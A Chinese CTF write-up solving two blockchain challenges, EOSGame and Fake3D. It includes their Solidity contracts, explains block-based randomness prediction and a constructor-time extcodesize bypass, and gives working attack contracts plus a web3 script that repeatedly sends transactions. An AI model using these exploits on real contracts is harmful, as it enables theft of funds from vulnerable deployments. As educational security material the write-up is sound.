近来各大ctf中,纷纷冒出了一个新题型——Blockchain,从HCTF开始到BCTF,作为一只web狗,还是要紧跟时代学习一下(毕竟web狗啥都要学),今天我们就来详细讨论一下这两题的解法,以及用到的知识点。
EOSGame
题目地址为:This contract is at 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F in Ropsten network.
这题是给了合约代码的,先贴一下合约代码:
contract EOSToken{ using SafeMath for uint256; string TokenName = "EOS"; uint256 totalSupply = 100**18; address owner; mapping(address => uint256) balances; modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public{ owner = msg.sender; balances[owner] = totalSupply; } function mint(address _to,uint256 _amount) public onlyOwner { require(_amount < totalSupply); totalSupply = totalSupply.sub(_amount); balances[_to] = balances[_to].add(_amount); } function transfer(address _from, address _to, uint256 _amount) public onlyOwner { require(_amount < balances[_from]); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); } function eosOf(address _who) public constant returns(uint256){ return balances[_who]; } } contract EOSGame{ using SafeMath for uint256; mapping(address => uint256) public bet_count; uint256 FUND = 100; uint256 MOD_NUM = 20; uint256 POWER = 100; uint256 SMALL_CHIP = 1; uint256 BIG_CHIP = 20; EOSToken eos; event FLAG(string b64email, string slogan); constructor() public{ eos=new EOSToken(); } function initFund() public{ if(bet_count[tx.origin] == 0){ bet_count[tx.origin] = 1; eos.mint(tx.origin, FUND); } } function bet(uint256 chip) internal { bet_count[tx.origin] = bet_count[tx.origin].add(1); uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp))); uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed))); uint256 shark = seed_hash % MOD_NUM; uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin]))); uint256 lucky = lucky_hash % MOD_NUM; if (shark == lucky){ eos.transfer(address(this), tx.origin, chip.mul(POWER)); } } function smallBlind() public { eos.transfer(tx.origin, address(this), SMALL_CHIP); bet(SMALL_CHIP); } function bigBlind() public { eos.transfer(tx.origin, address(this), BIG_CHIP); bet(BIG_CHIP); } function eosBlanceOf() public view returns(uint256) { return eos.eosOf(tx.origin); } function CaptureTheFlag(string b64email) public{ require (eos.eosOf(tx.origin) > 18888); emit FLAG(b64email, "Congratulations to capture the flag!"); } }
如果你看不懂?没关系,我准备了,在互联网上找了个不错的视频教程,就无偿奉献给大家了。戳这里 提取码是:uh7p 。
合约内容解析
下面我们先来大体看一下合约的内容:
首先第一个合约是写了一个token,EOSToken,可以理解为一种游戏币(毕竟ctf就是一场游戏,23333)
然后两个合约都使用了这么一句:
using SafeMath for uint256;
这里主要是为了防止溢出的,溢出?没错,在智能合约中,如果没有对某些数据类型进行限制,确实会导致溢出,这也导致了很多攻击的产生。详细分析戳这里
然后我们先看看怎么才能获取flag,很容易找到限制条件:
require (eos.eosOf(tx.origin) > 18888);
只要我们的EOSToken是大于18888的,就能成功获得flag了。
然后我们来看这个game的具体逻辑:
这个函数是如果你第一次玩这个游戏,会给你发放100个token。
下面到了整个游戏的关键函数bet:
这是一个赌钱函数,首先会生成一个随机数,然后用你当前账户的赌博次数在生成一个随机数,同时对20取余,如果两个余数相等,那么会给你你赌资的100倍奖励,这里就涉及到了我们本题的考点了,solidity智能合约随机数预测,有关科普戳这里 。
我理解为 如果生成随机数使用的种子使用的是有关当前区块的有关信息,那就是可以预测的,因为如果使用合约调用合约,那两个交易会被打包在一个区块内,那生成种子的所有信息,攻击合约都可以获得,攻击合约可以利用这些信息,生成完全一样的随机数。
接下来,两个函数,分别是小赌和大赌,赌资分别是1 和 20。
理清攻击流程
那么很显然,我们的攻击流程可以归结如下:
编写攻击合约
合约如下:
差不多每次调用获取的收益在 20*100 左右,手动调用几次就能获取flag
获取flag
当你的余额足够了以后,调用当前合约的flag函数,将邮箱的base64作为参数传入,即可获取flag邮件
Fake3D
合约地址:This game is at 0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a in Ropsten network.
贴一下合约代码:
contract WinnerList{ address public owner; struct Richman{ address who; uint balance; } function note(address _addr, uint _value) public{ Richman rm; rm.who = _addr; rm.balance = _value; } } contract Fake3D { using SafeMath for *; mapping(address => uint256) public balance; uint public totalSupply = 10**18; WinnerList wlist; event FLAG(string b64email, string slogan); constructor(address _addr) public{ wlist = WinnerList(_addr); } modifier turingTest() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } function transfer(address _to, uint256 _amount) public{ require(balance[msg.sender] >= _amount); balance[msg.sender] = balance[msg.sender].sub(_amount); balance[_to] = balance[_to].add(_amount); } function airDrop() public turingTest returns (bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < 288){ balance[tx.origin] = balance[tx.origin].add(10); totalSupply = totalSupply.sub(10); return true; } else return false; } function CaptureTheFlag(string b64email) public{ require (balance[msg.sender] > 8888); wlist.note(msg.sender,balance[msg.sender]); emit FLAG(b64email, "Congratulations to capture the flag?"); } }
浏览一遍,发现是一个很明显的薅羊毛的游戏,但是这里有个判断:
assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only");
于是搜索到了一篇文章,文章地址
文章中说到,当一个合约在执行构造函数的时候,其extcodesize也为0 ,所以首先写出薅羊毛合约。
攻击合约
这里就借用 r3kapig 队伍写的来测试:
contract father { function father() payable {} Son son; function attack(uint256 times) public { for(uint i=0;i<times;i++){ son = new Son(); } } function () payable { } } contract Son { function Son() payable { Fake3D f3d; f3d=Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a); f3d.airDrop(); if (f3d.balance(this)>=10) { f3d.transfer(0x357ec8b9f62e8a3ca819eebd49a793045b8b1e91,10); } selfdestruct(0x357ec8b9f62e8a3ca819eebd49a793045b8b1e91); } function () payable{ } }
这样调用 attack(150) 一次,大概可以得到400的收益,调用20次左右即可达到要求。
可以通过写脚本,来不断调用这个方法,脚本如下:
但是在达到要求之后,在调用getflag的过程中遇到了问题,总是调用失败。
继续探索
于是想到了可能 合约WinnerList 给出的代码不准确,于是调用脚本去读取整整WinnerList 合约的地址:
得到了WinnerList 的实际地址为:0xd229628fd201a391cf0c4ae6169133c1ed93d00a
于是反编译:https://ethervm.io/decompile?address=0xd229628fd201a391cf0c4ae6169133c1ed93d00a&network=ropsten
在反编译的函数中发现了一个关键判断:
总结一下就是调用的地址最后两位必须是43 或者倒数三四位必须是b1 。
这里使用工具爆破一下,得到合法的地址:
获取flag
我们先将token 通过tranfer方法交易给满足条件的账户,然后再调用flag函数:
即可完成整个的交易,获取flag。
脚本如下:
from web3 import Web3 import sha3 my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/2b86c426683f4a6095fd175fe931d799") assert my_ipc.isConnected() runweb3 = Web3(my_ipc) myaccount = "your account" private = "your private key" constract = "0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a" transaction_dict1 = { 'from':Web3.toChecksumAddress(myaccount), 'to':constract, 'gasPrice':10000000000, 'gas':3000000, 'nonce': None, 'value':0, 'data': "0xa9059cbb000000000000000000000000c918033c74054a190ed8004fdadf1b53f04a05430000000000000000000000000000000000000000000000000000000000002328" } # 原来账户转账给爆破出的账户 tranfer transaction_dict = { 'from':Web3.toChecksumAddress(myaccount), 'to':constract, 'gasPrice':10000000000, 'gas':3000000, 'nonce': None, 'value':0, 'data': "0x9590729100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000021205933567464486831616d6c68596d6c755147647459576c734c6d4e7662513d3d00000000000000000000000000000000000000000000000000000000000000" } # 满足要求的账户调用flag函数 def init(): myNonce = runweb3.eth.getTransactionCount(Web3.toChecksumAddress(myaccount)) print(myNonce) transaction_dict["nonce"] = myNonce r = runweb3.eth.account.signTransaction(transaction_dict, private) try: runweb3.eth.sendRawTransaction(r.rawTransaction.hex()) except: pass if __name__ == '__main__': while True: init()
后记
作为一只刚入门这个方向的半小白,从一无所知花了几天时间慢慢了解了这些东西,觉得做这些题目还挺有意思的,当然可能有很多笨拙的地方,还请大佬们多多指教。